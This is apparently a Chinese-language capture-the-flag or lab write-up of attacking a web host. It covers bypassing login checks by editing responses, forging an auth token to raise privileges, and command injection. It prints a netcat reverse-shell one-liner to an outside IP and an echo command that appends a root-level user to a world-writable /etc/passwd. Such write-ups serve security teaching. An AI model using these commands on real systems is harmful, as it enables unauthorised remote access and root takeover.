信息收集
主机发现
端口扫描
目录扫描
漏洞发掘
访问主页:
首先,下方有两个连接;
左边的可以查看其他用户的信息:
右边跳转至注册页面,但是注册关闭:
还有一个登录页面:
可以尝试弱口令,注入,暴力破解,枚举等。
随便填写一个,进行抓包:
返回的验证为false,将其修改为true,若成功登录,说明存在逻辑漏洞。
结果失败。
下载前端js代码:
进行格式化,搜索关键信息:
找到上图所示代码段,根据登录的数据包格式,猜测可能是注册数据包的信息格式。
构造数据包:
注册用户成功,登录:
抓取能正常登录的数据包:
在响应包中存在token值,以及"auth_level":"standard_user"
,猜测可能与权限有关,可能存在越权。
对token值进行解析:
token值中包含了个人信息以及权限信息,尝试修改token值,获取更高权限,完成越权。
在js前端代码中,搜索关键信息auth_level:
修改token值:
获取此响应的回包,并进行修改:
登录成功,并获得更高权限:
在此页面又存在一个登陆点:
使用注册的用户进行登录,返回的却是错误的信息:
拦截响应包,修改验证值:
登录成功:
提权
根据源码,username和password可以被当做命令执行,以此来反弹shell:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.133.149 7777 >/tmp/f;
使用sudo -l:
使用find查看当前用户具有suid权限的文件:
没有可以利用的点。
使用find查看可以写入的权限:
find / -perm -o=w -type f 2>/dev/null
查看/etc/passwd的权限:
权限为777,写入一个具有root权限的用户,使用su切换用户,完成提权:
root:x:0:0:root:/root:/bin/bash
每一部分分别为:
注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
添加用户:
密码进行加密处理:
test:aaAN1ZUwjW7to:0:0:test:/root:/bin/bash
写入/etc/passwd:
echo "test:aaAN1ZUwjW7to:0:0:test:/root:/bin/bash" >> /etc/passwd
切换用户:
尝试脏牛提权:
没有安装gcc
总结
在逻辑漏洞中,根据响应信息判断验证信息,尝试修改验证信息,进行操作。
通过查看前端代码,找到对应的数据包构造格式。
对于前端验证,可以拦截并修改响应包。